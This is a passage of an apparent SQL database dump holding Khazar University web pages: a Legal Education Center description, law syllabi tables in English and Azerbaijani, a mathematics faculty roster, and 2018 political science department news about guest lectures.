interdependent outcomes as summarized below:</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><em>1) Development of broader-based Azerbaijani constituencies more actively promoting reforms that safeguard citizens’ rights</em></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><em>2) Improved capacity of legal professionals to better apply laws and assist their clients.</em></p><p style=\"text-align:justify\">At present, in Azerbaijan, the training of most young lawyers is almost entirely academic and in the future they lack social and \"lawyering\" skills when they embark on their careers. With this in mind, ARC established the Legal Education Center at Khazar University. The center conducts regular, high-quality curriculum-based trainings and develops legal publications covering a broad range of legal areas (see below). To ensure reputability and high quality of its services, the center attracts outstanding legal professionals and practitioners to develop the curricula and teach the courses. It is also envisioned that young lawyers and law students will be accompanying professional lawyers during strategic litigations, court hearings, rendering legal advice and consultations. The center plans to provide high-quality curriculum-based training courses to at least 20 law students per year and annually help 6-7candidates for membership to Collegiums of Attorneys (Azerbaijan Bar Association) prepare for Bar exams and pass them successfully.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong><br></strong></p><p text-align:justify\"=\"\" style=\"text-align: justify;\"><strong>The objectives of the Center include the following:</strong><strong>&nbsp;</strong></p><ul style=\"font-size:medium\"><li style=\"text-align:justify\"><em>Increasing awareness and information in the area of human rights and freedoms, promotion of constitutional values in the society;</em></li><li style=\"text-align:justify\"><em>Organizing preparatory courses for young lawyers who wish to participate in bar admission exams.</em></li><li style=\"text-align:justify\"><em>Providing legal assistance free of charge for population groups with limited income;</em></li><li style=\"text-align:justify\"><em>Organizing regular courses aimed at capacity building for representatives and members of entities engaged in defense of human rights in national and international mechanisms;</em></li><li style=\"text-align:justify\"><em>Organizing meetings among national and international experts, young lawyers and law students from universities in Azerbaijan;</em></li><li style=\"text-align:justify\"><em>Preparing practical guidelines, manuals and teaching materials for advocates, lawyers engaged in practical work, judges, entities and persons engaged in defense of human rights, and organizing the sale of such materials through regular fairs;</em></li></ul><p text-align:justify\"=\"\" style=\"text-align: justify;\">Based on the needs identified, the consortium works with international and local experts to develop continuing education course curricula and materials. The courses provide in-depth coverage of a wide range of topics which include, but are not limited to, Administrative law, Criminal Law, Review of existing laws and updates on new laws being passed by Parliament, Bar exam preparation, European Court of the Human Rights case law, Family Law, Labor Law, Legal Drafting, etc.</p><p text-align:justify\"=\"\" style=\"text-align: justify;\">Participants who successfully complete the course will be awarded certificates.&nbsp;</p>'),(979,631,'en','Subjects & Syllabi','Subjects & Syllabi','<div><strong style=\"color:#330033\"><em>FALL 2017</em></strong></div><div><strong style=\"color:#330033\"><br></strong></div><table cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse:collapse;border:initial none #000\">\r\n <tbody><tr>\r\n  <td width=\"186\" style=\"width:139.25pt;padding:0in 5.4pt;vertical-align:top;border:1pt solid #000\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>INSTRUCTOR</strong></p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;border-top:1pt solid windowtext;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>SUBJECT &amp; SYLLABI</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Jabir\r\n  Khalilov</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/Sillabus%20-LES-Payiz%202017.pdf\">Law\r\n  Enforcement systems</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Akif\r\n  Alizade</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/Ail%C9%99%20huququ.pdf\">Family\r\n  law</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Saadat\r\n  Novruzova</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/Inter%20Public%20Law.pdf\">Public\r\n  International law</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Akif\r\n  Alizade</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/%C4%B0nsan%20h%C3%BCquqlar%C4%B1.pdf\">Human\r\n  rights</a> (Education)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Leyla\r\n  Mammadova</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/H%C3%BCququn%20%C9%99saslar%C4%B1.pdf\">Basics\r\n  of law</a>&nbsp;(Engineering)</p></td></tr></tbody></table>'),(980,631,'az',' Tədris edilən Fənnlər',' Tədris edilən Fənnlər','<p><strong><em style=\"color:#330033\">PAYIZ 2017</em></strong></p><br><table cellspacing=\"0\" cellpadding=\"0\" style=\"border-collapse:collapse;border:initial none #000\">\r\n <tbody><tr>\r\n  <td width=\"186\" style=\"width:139.25pt;padding:0in 5.4pt;vertical-align:top;border:1pt solid #000\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>MÜƏLLİM</strong></p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;border-top:1pt solid windowtext;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>TƏDRİS EDİLƏN FƏNN &amp; SYLLABI</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Cabir Xəlilov</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/Sillabus%20-LES-Payiz%202017.pdf\">Hüquq mühafizə orqanları</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Akif Əlizadə</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/Ail%C9%99%20huququ.pdf\">Ailə hüququ</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Səadət Novruzova</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/Inter%20Public%20Law.pdf\">Beynəlxalq ictimai hüquq</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Akif Əlizadə</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/%C4%B0nsan%20h%C3%BCquqlar%C4%B1.pdf\">İnsan hüquqları</a> (təhsil fak-də)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"186\" style=\"width:139.25pt;border-right:1pt solid windowtext;border-bottom:1pt solid windowtext;border-left:1pt solid windowtext;border-top:none;padding:0in 5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Leyla Məmmədova</p>\r\n  </td>\r\n  <td width=\"282\" style=\"\" width:211.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.khazar.org/files/social/1/H%C3%BCququn%20%C9%99saslar%C4%B1.pdf\">Hüququn əsasları</a> (mühəndislik fak-də)</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><br></p>'),(981,212,'az','Professor-müəllim heyəti','Professor-müəllim heyəti','<p><img src=\"http://www.khazar.org/files/image/14_04_14_Hamlet_Isaxanli.jpg\" style=\"border:0px none #000000;width:150px;height:174px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli.pdf\">Hamlet İsaxanlı</a>&nbsp;-&nbsp;Fizika-Riyaziyyat elmləri doktoru, professor</strong></p><p>Fizika-Riyaziyyat elmləri doktoru (Rusiya Elmlər Akademiyası, Steklov adına Riyaziyyat İnstitutu)</p><p>Fizika-Riyaziyyat elmləri namizədi (Lomonosov adına Moskva Dövlət Universiteti, Rusiya)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:hamlet[at]khazar.org\">hamlet[at]khazar.org</a> &nbsp;</p><p><br></p><hr><strong><img src=\"http://www.khazar.org/files/math_depart/20161017_115017.jpg\" style=\"border:0px none #000000;width:150px;height:200px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"></strong><p><strong><a href=\"http://www.khazar.org/files/math_depart/NAZ%C4%B0M_K%C6%8FR%C4%B0MOV_cv.docx\">Nazim&nbsp;Kərimov</a><strong><strong></strong></strong></strong></p><p>Fizika-Riyaziyyat elmləri doktoru (Lomonosov adına Moskva Dövlət Universiteti, Rusiya)<br></p><p>Fizika-Riyaziyyat elmləri namizədi&nbsp;(Lomonosov adına Moskva Dövlət Universiteti, Rusiya)  </p><p><strong>E-mail:</strong> <a href=\"mailto:nazimkerimov[at]yahoo.com\">nazimkerimov[at]yahoo.com</a>;&nbsp;<a href=\"mailto:nkarimov[at]khazar.org\">nkarimov[at]khazar.org</a></p><p><br></p><p><br></p><hr><img src=\"/files/math_depart/ali_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:164px\"><p><a href=\"http://www.khazar.org/files/pdf/Ali%20Huseynli%20cv.pdf\"><strong>Əli Hüseynli</strong></a><strong></strong></p><p>Riyaziyyat üzrə&nbsp;fəlsəfə doktoru&nbsp;(Azərbaycan Milli Elmər Akademiyası, Riyaziyyat və Mexanika İnstitutu)&nbsp;</p><p>Magistratura (Bakı Dövlət Universiteti,&nbsp;Azərbaycan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ahuseynli[at]khazar.org\">ahuseynli[at]khazar.org</a>; <a href=\"mailto:alihuseynli[at]gmail.com\">alihuseynli[at]gmail.com</a></p><p><br></p><hr><strong><img src=\"/files/math_depart/ibrahim_n.jpg\" style=\"float:left;width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong><p><strong><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160318-Nabiev-EN%20(1).pdf\">İbrahim Nəbiyev</a></strong></p><p><strong></strong>Fizika-Riyaziyyat elmləri doktoru&nbsp;(Azərbaycan Milli Elmər Akademiyası,&nbsp;Riyaziyyat və Mexanika İnstitutu)</p><p>Fizika-Riyaziyyat elmləri namizədi&nbsp;(Azərbaycan Milli Elmər Akademiyası,&nbsp;Riyaziyyat və Mexanika İnstitutu)</p><p><strong>E-mail:</strong> <a href=\"mailto:nabievim[at]yahoo.com\">nabievim[at]yahoo.com</a></p><p><br></p><hr><p><strong><img src=\"http://www.khazar.org/files/image/Elvin%20Azizbayov.JPG\" style=\"border:0px  #000000;width:150px;height:176px;margin:7px;float:left\"></strong><strong><a href=\"http://www.khazar.org/files/pdf/Azizbayov%20E.I..pdf\">Elvin Əzizbəyov</a><br></strong></p><p><strong> </strong><strong></strong>Fizika-Riyaziyyat elmləri namizədi&nbsp;(Azərbaycan Milli Elmlər Akademiyası)</p><p><strong>E-mail:</strong> <a href=\"mailto:elvin.azizbeyov[at]khazar.org\">elvin.azizbeyov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr><span style=\"border-style:initial;border-image:initial;height:178px\"><strong><img src=\"http://www.khazar.org/files/math_depart/terlan_g.jpg\" style=\"float:left;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></span><p><a href=\"http://www.khazar.org/files/pdf/CV-Europass-20160318-Garayev-EN.pdf\"><strong>Tərlan Qarayev</strong></a><strong style=\"font-weight:bold\"></strong></p><p>Riyaziyyat üzrə fəlsəfə doktoru&nbsp;(Azərbaycan Milli Elmər Akademiyası,&nbsp;Riyaziyyat və Mexanika İnstitutu)</p><p> <strong>E-mail:&nbsp;</strong><a href=\"mailto:qarayevtarlan[at]gmail.com\">qarayevtarlan[at]gmail.com</a></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/letters/AZ_Sadigova%20Sabina_CV.pdf\"><img src=\"http://www.khazar.org/files/letters/Sabina1.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Səbinə Sadıqova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/AZ_Sadigova%20Sabina_CV.pdf\"></a></strong>Riyaziyyat üzrə fəlsəfə doktoru (Azərbaycan Milli Elmər Akademiyası,&nbsp;Riyaziyyat və Mexanika İnstitutu)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sadigova.sr[at]gmail.com\">sadigova.sr[at]gmail.com</a></p><p><br></p>\r\n<p><br></p><p><br></p>\r\n<p><br></p><hr><strong><img src=\"http://www.khazar.org/files/image/Vusal%20Mammadrzayev.PNG\" style=\"border:0px  #000000;width:150px;height:214px;margin:7px;float:left\"></strong><p><strong><a href=\"http://www.khazar.org/files/image/Vusal%20Mammadrzayev%20CV.pdf\">Vüsal Məmmədrzayev</a></strong><strong></strong></p><p>Magistratura (Tübingen&nbsp;Eberhard-Karls Universiteti, Almaniya)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:v.mammadrzayev[at]iset.ge\">v.mammadrzayev[at]iset.ge</a><br></p><p><br></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/math_depart/J.%20Azizov.pdf\"><img src=\"/files/math_depart/javanshir_a.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Cavanşir Əzizov</a></strong><strong></strong></p><p><strong></strong>Magistratura&nbsp;(Bakı Dövlət Universiteti,&nbsp;Azərbaycan)  </p><p>Doktorantura&nbsp;(Azərbaycan Milli Elmər Akademiyası,&nbsp;Riyaziyyat və Mexanika İnstitutu)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:azizov.javanshir[at]gmail.com\"></a><a href=\"mailto:javanshir.azizov@khazar.org\">javanshir.azizov[at]khazar.org</a>  </p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/math_depart/CV.CAFAROVA%20LALA.pdf\"><img src=\"/files/math_depart/lala.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lalə Cəfərova</a></strong><br></p><p>Magistratura (Bakı Dövlət Universiteti,&nbsp;Azərbaycan)  </p><p>Doktorantura&nbsp;(Bakı Dövlət Universiteti,&nbsp;Azərbaycan)  </p><p><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ljafarova@khazar.org\">ljafarova[at]khazar.org</a>  <a href=\"mailto:cafarov.90[at]bk.ru\"></a>    </p><p><br></p>'),(1874,1153,'en','News ','News ','<p><strong>Department of Political Science and International Relations</strong></p><p><strong><br></strong></p><p><br></p><p><strong>Khazar University celebrates the&nbsp;Day of the Dead </strong> <br></p><p><strong>1 November 2018</strong></p><p style=\"text-align:justify\">On November 1, 2018, one of Mexico’s most important celebrations, “Dia de los Muertos” (The Day of the Dead), was celebrated at Khazar University. The Day of the Dead is a Mexican national holiday that celebrates the lives of deceased friends and family. On this occasion, the Embassy of the United Mexican States in Azerbaijan together with Khazar University prepared the special altar exhibiting the brightly colored traditional folk costume, sugar skulls, a calaca, whole skeleton wearing human clothes, and fiesta toys.&nbsp;</p><p style=\"text-align:justify\">At the first part of the event, Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees met with H.E. Mr. Rodrigo Labardini, the Ambassador of Mexico to Azerbaijan; he congratulated the ambassador on behalf of the staff and students of Khazar University, and wished robust health, peace and prosperity.&nbsp;</p><p style=\"text-align:justify\">Following the meeting, H.E. Mr. Rodrigo Labardini, the Mexican Ambassador to Azerbaijan gave an introductory speech next to the altar that the holiday dates back to the pre-Hispanic culture of the Aztecs who often held festivals dedicated to the goddess Mictecacihuatl, known as the Lady of the Dead in honour of their loved ones who had passed away. After the introductory speech, the movie on the day of Dead was demonstrated to the students of Khazar University and following the movie, the ambassador discussed the scenes of the movie with the students and answered the questions of audience.</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/3592\">click here.</a></p><p><br></p><p><strong>“Study opportunities in France” seminar was held at Khazar University</strong></p><p><strong>26 October 2018</strong></p><p style=\"text-align:justify\">On October 26, 2018, Political Science and International Relations department organized a seminar on “Study opportunities in France” for the students of the Humanities and Social Sciences Faculty of Khazar University. The seminar was held by Ms. Raab Maureen, the representative of the Campus France Agency in Azerbaijan. During the seminar, the students were informed about French educational system, study opportunities in France, accommodation, costs of living, health insurance while studying in France, scholarship programs for Master and Bachelor degrees. In addition, Ms. Maureen gave information about online and distant programs as well as internship opportunities in France.</p><p>The seminar was concluded by welcoming questions from the audience.</p><p>For photos <a href=\"http://www.khazar.org/en/news/article/3572\">click here.</a></p><p><br></p><p><strong>Guest speaker: Dr. Wolf Linder delivered a lecture at Khazar University</strong></p><p><strong>25 October 2018</strong></p><p style=\"text-align:justify\">On October 25, 2018, Dr. Wolf Linder - political scientist and legal expert, and a member of Swiss Science Council - delivered a lecture at Khazar University. The lecture of Dr. Wolf Linder, entitled “The many ways to democracy – why and how Switzerland is different” was organized by Political Science and International Relations Department with the support of Embassy of Switzerland in Azerbaijan.<br></p><p style=\"text-align:justify\"><strong></strong>During the lecture, Swiss Confederation, the historical development of direct democracy, particularities, and limits of the Swiss democracy model, the Swiss system of power-sharing were discussed. Moreover, the students were informed about the EU-Switzerland relations, bilateral agreements, and Switzerland\'s adoption of EU law in order to perform in EU single market.</p><p>Dr. Wolf Linder’s lecture was followed by Q&amp;A session.</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/3570\">click here.</a></p><p><br></p><p><strong>3 day lecture sessions of Dr. Stefano Braghiroli at Khazar University</strong></p> <p><strong>16-18 October 2018</strong></p><p style=\"text-align:justify\">Within the Network for Developing European Studies in the Caucasus (DESCnet) project Political Science and International Relations Department organized 3-day lecture sessions with Dr. Stefano Braghiroli,&nbsp;Lecturer of European Studies at the Johan Skytte Institute of Political Studies of the University of Tartu.</p><p style=\"text-align:justify\">On October 16, 2018, on the first day of the session, Dr.\r\nStefano Braghiroli delivered a lecture on “Common Foreign and Security Policy\r\nof the EU and EU-NATO relations”. The students were informed on the foreign policy, defence diplomacy of the EU,\r\nhistorical development of the CFSP of the EU, EU-NATO relations, the role of\r\nNATO in the territorial defence of Europe.</p><p style=\"text-align:justify\">On October 17, 2018, the lecture\r\nby the guest speaker, entitled “EU-Russia\r\nrelations” provided an insight into Russia and the EU relations, mutual\r\npolitical influence and financial link of the two powers”. During the meeting,\r\nhe also analyzed the relations of some individual member states of the EU and\r\nRussia, effects of bilateral relations on the EU-Russia relations.</p><p style=\"text-align:justify\">After the second\r\nlecture, Dr. Stefano Braghiroli met with Dr. Hassan Niknafs, Rector of Khazar\r\nUniversity. At the meeting, he was informed about the history of Khazar\r\nUniversity, its degree programs, research capacity, and international\r\nrelations. Also, mutual collaboration opportunities on student and staff\r\nexchange, establishment of double-degree programs and research between Khazar\r\nUniversity and Tartu University were discussed during the meeting. The meeting\r\nwas also attended by Raziya Isayeva, Director of Development Center; Elmar\r\nMustafayev, Coordinator of the Department of Political Science and\r\nInternational Relations.</p><p style=\"text-align:justify\">On October 18, 2018, the last day\r\nof the session was dedicated to the European\r\nNeighbourhood Policy and Eastern Partnership. The students were briefed on the\r\nevolution of the ENP, the dialogue between the EU and EaP countries on political\r\nand economic cooperation, security and migration, mobility, visa facilitation and\r\nreadmission.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">All lectures were concluded by welcoming questions from the audience.</p><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;line-height:150%;background:white\"\"=\"\">For photos <a href=\"http://www.khazar.org/en/news/article/3533\">click here.</a></p>  <p><br></p><p><strong>First Counselor of the EU Delegation to Azerbaijan delivers a lecture at Khazar University</strong></p> <p><strong>4 October 2018</strong></p><p style=\"text-align:justify\">On October 4, 2018, Mr. Denis Daniilidis, First Counselor of the EU Delegation to Azerbaijan delivered a lecture for the students of Khazar University. The lecture was also attended by honored guest H.E. Mr. Nikolay Yankov, the Ambassador of Bulgaria to Azerbaijan. A special lecture of the First Counselor, entitled “Actors of the EU Foreign Policy”, was organized, within the the Network for Developing European Studies in the Caucasus (DESCnet) project, by the Department of Political Science and International Relations of Khazar University. During the meeting, the students were informed about different strands of EU foreign policy, the role of institutions on policy-making, priorities of the EU foreign policy, and discussed the current issues such as Brexit, terrorism, migration as well as EU elections.</p><p style=\"text-align:justify\">Mr. Denis Daniilidis concluded his lecture by welcoming questions from the audience.</p><p style=\"text-align:justify\">After the lecture, Mr. Denis Daniilidis, the First Counselor met with Dr. Hassan Niknafs, Rector of Khazar University. At the meeting, Mr. Daniilidis was informed about the history of Khazar University, its degree programs, research capacity, and international relations. Mutual collaboration opportunities on organizing extracurricular activities, such as simulation, summer school, training courses were also discussed during the meeting.</p><p>For photos<strong>&nbsp;</strong><a href=\"http://www.khazar.org/en/news/article/3476\">click here.</a></p><p><br></p><p><strong>Kha</strong><strong>zar University staff members visit Oslo Metropolitan University</strong></p><p><strong>3-7 September 2018</strong></p><p style=\"text-align:justify\">On September 3-7, 2018, Khazar University staff members – Dr. Jeyhun Mammadov, Dean of the School of Economics and Management; Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations; Nilufar Alizada, Instructor of the Department of Psychology – participated in the kick-off meeting of the project \"Intercultural encounters in academia and workplaces in South Caucasus and Norway\" at Oslo Metropolitan University. The meeting was also attended by the representatives of the Oslo Metropolitan University (Norway), Tbilisi State University (Georgia).&nbsp;</p><p style=\"text-align:justify\">The three-year project envisages the establishment of the master programmes regarding the intercultural communication, summer schools in Tbilisi and Oslo, and joint researches. During the meeting, participants shared their experience on course development and discussed the theory and methodology of incorporating migration, hate speech, and radicalization into the courses.</p><p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/3411\">click here.</a></p><p><br></p><p><strong>Mexican ambassador delivers a lecture at Khazar University</strong></p> <p><strong>23 May 2018</strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;color:#252525;background-color:#ffffff;text-align:justify\">On May 23, 2018, Mr Rodrigo Labardini, Mexican ambassador to Azerbaijan, delivered a lecture as a guest lecturer at the lesson of Comparative Politics.</p><p style=\"text-align:justify\">In his lecture, Mr Rodrigo talked about distribution of power, 3 structures of power (legislative, executive, judicial) and responsibilities of each power as well as a mutual mechanism of “control and balance” among the three powers. Moreover, Mr Rodrigo talked about various administration models and gave comparative analyses of various systems of administration.</p><p style=\"text-align:justify\">The lecture ended with a question and answer session.</p>  <p>For photos&nbsp;<a href=\"http://www.khazar.org/en/news/article/3253\">click here.</a><br></p><p><br></p><p style=\"text-align:justify\"><strong>Ambassador of Belgium to Azerbaijan delivers a lecture at Khazar University</strong></p> <p><strong>8 May 2018</strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;color:#252525;background-color:#ffffff;text-align:justify\">On May 8, 2018, on the occasion of Europe Day, the Ambassador of Belgium to Azerbaijan Mr. Bert Schoofs delivered a lecture for the students of Khazar University. A special lecture of Belgium’s Ambassador, entitled “Belgium’s multi-layered structure of governance and its role in the EU”, was organized within the Network for Developing European Studies in the Caucasus (DESCnet) project and International Relations Department of Khazar University. During the meeting, the students were informed on history, culture, priorities of foreign policy, economy, education system of Belgium and its multilateral affairs in the context of the EU, NATO, OSCE, UN.</p><p style=\"text-align:justify\">The meeting ended with a question-and-answer session headed by Elmar Mustafayev, Coordinator of Political Science and International Relations Department.</p>  <p style=\"text-align:justify\">For photos <a href=\"http://www.khazar.org/en/news/article/3181\">click here.</a></p><p><strong><br></strong></p><p><strong>Mexican ambassador to Azerbaijan delivers a lecture</strong></p> <p><strong>2 May 2018</strong></p><p style=\"text-align: justify;\" 